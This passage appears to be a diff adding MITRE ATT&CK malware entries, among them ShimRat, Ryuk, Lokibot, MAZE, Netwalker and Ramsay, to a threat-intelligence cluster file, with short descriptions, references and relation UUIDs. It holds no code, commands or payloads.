suspected China-based adversary [Mofang](https://attack.mitre.org/groups/G0103) in campaigns targeting multiple countries and sectors including government, military, critical infrastructure, automobile, and weapons development. The name \"[ShimRat](https://attack.mitre.org/software/S0444)\" comes from the malware's extensive use of Windows Application Shimming to maintain persistence. (Citation: FOX-IT May 2016 Mofang)", + "meta": { + "external_id": "S0444", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0444", + "https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf" + ], + "synonyms": [ + "ShimRat" + ] + }, + "related": [ + { + "dest-uuid": "69b8fd78-40e8-4600-ae4d-662c9d7afdb3", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3489cfc5-640f-4bb3-a103-9137b97de79f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "42fe883a-21ea-4cfb-b94a-78b6476dcc83", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f24faf46-3b26-4dbb-98f2-63460498e433", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4eeaf8a9-c86b-4954-a663-9555fb406466", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "deb98323-e13f-4b0c-8d94-175379069062", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "5763217a-05b6-4edd-9bca-057e47b5e403", + "value": "ShimRat - S0444" + }, + { + "description": "[Cadelspy](https://attack.mitre.org/software/S0454) is a backdoor that has been used by [APT39](https://attack.mitre.org/groups/G0087).(Citation: Symantec Chafer Dec 2015)", + "meta": { + "external_id": "S0454", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0454", + "https://www.symantec.com/connect/blogs/iran-based-attackers-use-back-door-threats-spy-middle-eastern-targets" + ], + "synonyms": [ + "Cadelspy" + ] + }, + "related": [ + { + "dest-uuid": "53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1035cdf2-3e5f-446f-a7a7-e8f6d7925967", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4ae4f953-fe58-4cc8-a327-33257e30a830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "348f1eef-964b-4eb6-bb53-69b3dcb0c643", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "30973a08-aed9-4edf-8604-9084ce1b5c4f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "a705b085-1eae-455e-8f4d-842483d814eb", + "value": "Cadelspy - S0454" + }, + { + "description": "[SYSCON](https://attack.mitre.org/software/S0464) is a backdoor that has been in use since at least 2017 and has been associated with campaigns involving North Korean themes. [SYSCON](https://attack.mitre.org/software/S0464) has been delivered by the [CARROTBALL](https://attack.mitre.org/software/S0465) and [CARROTBAT](https://attack.mitre.org/software/S0462) droppers.(Citation: Unit 42 CARROTBAT November 2018)(Citation: Unit 42 CARROTBAT January 2020)", + "meta": { + "external_id": "S0464", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0464", + "https://unit42.paloaltonetworks.com/unit42-the-fractured-block-campaign-carrotbat-malware-used-to-deliver-malware-targeting-southeast-asia/", + "https://unit42.paloaltonetworks.com/the-fractured-statue-campaign-u-s-government-targeted-in-spear-phishing-attacks/" + ], + "synonyms": [ + "SYSCON" + ] + }, + "related": [ + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9a60a291-8960-4387-8a4a-2ab5c18bb50b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "edf5aee2-9b1c-4252-8e64-25b12f14c8b3", + "value": "SYSCON - S0464" + }, + { + "description": "[Ryuk](https://attack.mitre.org/software/S0446) is a ransomware designed to target enterprise environments that has been used in attacks since at least 2018. [Ryuk](https://attack.mitre.org/software/S0446) shares code similarities with Hermes ransomware.(Citation: CrowdStrike Ryuk January 2019)(Citation: FireEye Ryuk and Trickbot January 2019)(Citation: FireEye FIN6 Apr 2019)", + "meta": { + "external_id": "S0446", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0446", + "https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/", + "https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html", + "https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html" + ], + "synonyms": [ + "Ryuk" + ] + }, + "related": [ + { + "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b80d107d-fa0d-4b60-9684-b0433e8bdba0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "20fb2507-d71c-455d-9b6d-6104461cf26b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "dcaa092b-7de9-4a21-977f-7fcb77e89c48", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "a020a61c-423f-4195-8c46-ba1d21abba37", + "value": "Ryuk - S0446" + }, + { + "description": "[Lokibot](https://attack.mitre.org/software/S0447) is a malware designed to collect credentials and security tokens from an infected machine. [Lokibot](https://attack.mitre.org/software/S0447) has also been used to establish backdoors in enterprise environments.(Citation: Infoblox Lokibot January 2019)(Citation: Morphisec Lokibot April 2020)", + "meta": { + "external_id": "S0447", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0447", + "https://insights.infoblox.com/threat-intelligence-reports/threat-intelligence--22", + "https://blog.morphisec.com/lokibot-with-autoit-obfuscator-frenchy-shellcode" + ], + "synonyms": [ + "Lokibot" + ] + }, + "related": [ + { + "dest-uuid": "b200542e-e877-4395-875b-cf1a44537ca4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ec8fc7e2-b356-455c-8db5-2e37be158e7d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "58a3e6aa-4453-4cc8-a51f-4befe80b31a8", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3fc9b85a-2862-4363-a64d-d692e3ffbee0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "deb98323-e13f-4b0c-8d94-175379069062", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "cb741463-f0fe-42e0-8d45-bc7e8335f5ae", + "value": "Lokibot - S0447" + }, + { + "description": "[MAZE](https://attack.mitre.org/software/S0449) ransomware, previously known as \"ChaCha\", was discovered in May 2019. In addition to encrypting files on victim machines for impact, [MAZE](https://attack.mitre.org/software/S0449) operators conduct information stealing campaigns prior to encryption and post the information online to extort affected companies.(Citation: FireEye Maze May 2020)(Citation: McAfee Maze March 2020)", + "meta": { + "external_id": "S0449", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0449", + "https://www.fireeye.com/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/ransomware-maze/" + ], + "synonyms": [ + "MAZE" + ] + }, + "related": [ + { + "dest-uuid": "f4599aa0-4f85-4a32-80ea-fc39dc965945", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bd9c723-2f78-4309-82c5-47cad406572b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7e150503-88e7-4861-866b-ff1ac82c4475", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "5bfccc3f-2326-4112-86cc-c1ece9d8a2b5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b80d107d-fa0d-4b60-9684-b0433e8bdba0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "d9f7383c-95ec-4080-bbce-121c9384457b", + "value": "MAZE - S0449" + }, + { + "description": "[Metamorfo](https://attack.mitre.org/software/S0455) is a banking trojan operated by a Brazilian cybercrime group that has been active since at least April 2018. The group focuses on targeting mostly brazilian users.(Citation: Medium Metamorfo Apr 2020)", + "meta": { + "external_id": "S0455", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0455", + "https://medium.com/@chenerlich/the-avast-abuser-metamorfo-banking-malware-hides-by-abusing-avast-executable-ac9b8b392767" + ], + "synonyms": [ + "Metamorfo" + ] + }, + "related": [ + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f4599aa0-4f85-4a32-80ea-fc39dc965945", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "82caa33e-d11a-433a-94ea-9b5a5fbef81d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bf176076-b789-408e-8cba-7275e81c0ada", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "32901740-b42c-4fdd-bc02-345b5dc57082", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "cbb66055-0325-4111-aca0-40547b6ad5b0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f3c544dc-673c-4ef3-accb-53229f1ae077", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "81c57a96-fc8c-4f91-af8e-63e24c2927c2", + "value": "Metamorfo - S0455" + }, + { + "description": "[BackConfig](https://attack.mitre.org/software/S0475) is a custom Trojan with a flexible plugin architecture that has been used by [Patchwork](https://attack.mitre.org/groups/G0040).(Citation: Unit 42 BackConfig May 2020)", + "meta": { + "external_id": "S0475", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0475", + "https://unit42.paloaltonetworks.com/updated-backconfig-malware-targeting-government-and-military-organizations/" + ], + "synonyms": [ + "BackConfig" + ] + }, + "related": [ + { + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ef67e13e-5598-4adc-bdb2-998225874fa9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ec8fc7e2-b356-455c-8db5-2e37be158e7d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "79a47ad0-fc3b-4821-9f01-a026b1ddba21", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "32901740-b42c-4fdd-bc02-345b5dc57082", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "c13d9621-aca7-436b-ab3d-3a95badb3d00", + "value": "BackConfig - S0475" + }, + { + "description": "[Netwalker](https://attack.mitre.org/software/S0457) is fileless ransomware written in PowerShell and executed directly in memory.(Citation: TrendMicro Netwalker May 2020)", + "meta": { + "external_id": "S0457", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0457", + "https://blog.trendmicro.com/trendlabs-security-intelligence/netwalker-fileless-ransomware-injected-via-reflective-loading/" + ], + "synonyms": [ + "Netwalker" + ] + }, + "related": [ + { + "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "20fb2507-d71c-455d-9b6d-6104461cf26b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f4599aa0-4f85-4a32-80ea-fc39dc965945", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b80d107d-fa0d-4b60-9684-b0433e8bdba0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bf90d72c-c00b-45e3-b3aa-68560560d4c5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "754effde-613c-4244-a83e-fb659b2a4d06", + "value": "Netwalker - S0457" + }, + { + "description": "[Ramsay](https://attack.mitre.org/software/S0458) is an information stealing malware framework designed to collect and exfiltrate sensitive documents, potentially from air-gapped systems. Researchers have identified overlaps between [Ramsay](https://attack.mitre.org/software/S0458) and the [Darkhotel](https://attack.mitre.org/groups/G0012)-associated Retro malware.(Citation: Eset Ramsay May 2020)", + "meta": { + "external_id": "S0458", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0458", + "https://www.welivesecurity.com/2020/05/13/ramsay-cyberespionage-toolkit-airgapped-networks/" + ], + "synonyms": [ + "Ramsay" + ] + }, + "related": [ + { + "dest-uuid": "e3a12395-188d-4051-9a16-ea8e14d07b88", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3489cfc5-640f-4bb3-a103-9137b97de79f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "00f90846-cbd1-4fc5-9233-df5c2bf2a662", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1c34f7aa-9341-4a48-bfab-af22e51aca6c", + "tags": [ + 